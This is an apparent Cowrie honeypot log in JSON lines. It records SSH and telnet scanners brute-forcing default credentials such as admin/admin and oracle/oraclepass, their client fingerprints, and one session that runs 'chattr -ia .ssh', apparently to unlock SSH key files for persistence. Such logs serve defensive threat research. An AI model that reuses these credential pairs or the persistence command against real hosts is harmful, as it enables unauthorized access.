af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:17:08.363481Z","src_ip":"58.69.56.44","session":"a1c69a2ccb96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"debian","message":"login attempt [ubuntu/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:17:09.333711Z","src_ip":"58.69.56.44","session":"a1c69a2ccb96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:17:10.568986Z","src_ip":"58.69.56.44","session":"a1c69a2ccb96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":47994,"dst_ip":"159.203.135.109","dst_port":22,"session":"72faadaa7449","protocol":"ssh","message":"New connection: 40.81.244.142:47994 (159.203.135.109:22) [session: 72faadaa7449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:17:16.458792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:17:16.470067Z","src_ip":"40.81.244.142","session":"72faadaa7449","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:17:16.656051Z","src_ip":"40.81.244.142","session":"72faadaa7449","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.81469464302063,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:17:17.339396Z","src_ip":"211.97.63.49","session":"558bfb87cc60","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest2023","message":"login attempt [guest/guest2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:17:17.414397Z","src_ip":"40.81.244.142","session":"72faadaa7449","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:17:18.599199Z","src_ip":"40.81.244.142","session":"72faadaa7449","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":12580,"dst_ip":"10.17.0.5","dst_port":22,"session":"f79ddaab12ca","protocol":"ssh","message":"New connection: 87.251.64.176:12580 (10.17.0.5:22) [session: f79ddaab12ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:17:25.077874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:17:25.081730Z","src_ip":"87.251.64.176","session":"f79ddaab12ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:17:25.177739Z","src_ip":"87.251.64.176","session":"f79ddaab12ca","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:17:25.466542Z","src_ip":"87.251.64.176","session":"f79ddaab12ca","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:17:25.565296Z","session":"f79ddaab12ca","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:17:25.662866Z","src_ip":"87.251.64.176","session":"f79ddaab12ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:17:25.762517Z","src_ip":"87.251.64.176","session":"f79ddaab12ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.167.161.198","src_port":31312,"dst_ip":"159.203.135.109","dst_port":22,"session":"101a92211890","protocol":"ssh","message":"New connection: 222.167.161.198:31312 (159.203.135.109:22) [session: 101a92211890]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:17:26.649045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:17:26.653304Z","src_ip":"222.167.161.198","session":"101a92211890","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:17:26.924396Z","src_ip":"222.167.161.198","session":"101a92211890","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debianroot","message":"login attempt [root/debianroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:17:28.033598Z","src_ip":"222.167.161.198","session":"101a92211890","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:17:29.306908Z","src_ip":"222.167.161.198","session":"101a92211890","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00349354743958,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:18:00.964805Z","src_ip":"87.90.84.206","session":"90fce0409daa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0020682811737,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:18:01.471977Z","src_ip":"87.90.84.206","session":"2397b71c61c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"58.69.56.44","src_port":43508,"dst_ip":"159.203.135.109","dst_port":22,"session":"aff9ec6f8e4f","protocol":"ssh","message":"New connection: 58.69.56.44:43508 (159.203.135.109:22) [session: aff9ec6f8e4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:18:06.277653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:18:06.282708Z","src_ip":"58.69.56.44","session":"aff9ec6f8e4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:18:06.526641Z","src_ip":"58.69.56.44","session":"aff9ec6f8e4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"apache123","message":"login attempt [ubuntu/apache123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:18:07.513211Z","src_ip":"58.69.56.44","session":"aff9ec6f8e4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:18:08.754993Z","src_ip":"58.69.56.44","session":"aff9ec6f8e4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":37448,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdc6e0f00b75","protocol":"ssh","message":"New connection: 40.81.244.142:37448 (159.203.135.109:22) [session: bdc6e0f00b75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:18:17.650753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:18:17.654823Z","src_ip":"40.81.244.142","session":"bdc6e0f00b75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:18:17.848208Z","src_ip":"40.81.244.142","session":"bdc6e0f00b75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser@123","message":"login attempt [ftpuser/ftpuser@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:18:18.652727Z","src_ip":"40.81.244.142","session":"bdc6e0f00b75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:18:19.849102Z","src_ip":"40.81.244.142","session":"bdc6e0f00b75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.167.161.198","src_port":30616,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9e4bf45a86c","protocol":"ssh","message":"New connection: 222.167.161.198:30616 (159.203.135.109:22) [session: f9e4bf45a86c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:18:31.050196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:18:31.054891Z","src_ip":"222.167.161.198","session":"f9e4bf45a86c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:18:31.327367Z","src_ip":"222.167.161.198","session":"f9e4bf45a86c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wduser","password":"wduser","message":"login attempt [wduser/wduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:18:32.449099Z","src_ip":"222.167.161.198","session":"f9e4bf45a86c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:18:33.725070Z","src_ip":"222.167.161.198","session":"f9e4bf45a86c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.70.252.227","src_port":56656,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecddf9325fee","protocol":"ssh","message":"New connection: 96.70.252.227:56656 (159.203.135.109:22) [session: ecddf9325fee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:18:38.033309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:18:38.041174Z","src_ip":"96.70.252.227","session":"ecddf9325fee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:18:38.068121Z","src_ip":"96.70.252.227","session":"ecddf9325fee","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oraclepass","message":"login attempt [oracle/oraclepass] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:18:38.249654Z","src_ip":"96.70.252.227","session":"ecddf9325fee","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:18:38.368666Z","src_ip":"96.70.252.227","session":"ecddf9325fee","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:18:38.372219Z","src_ip":"96.70.252.227","session":"ecddf9325fee","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:18:38.377406Z","src_ip":"96.70.252.227","session":"ecddf9325fee","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:18:38.437695Z","src_ip":"96.70.252.227","session":"ecddf9325fee","protocol":"ssh"}
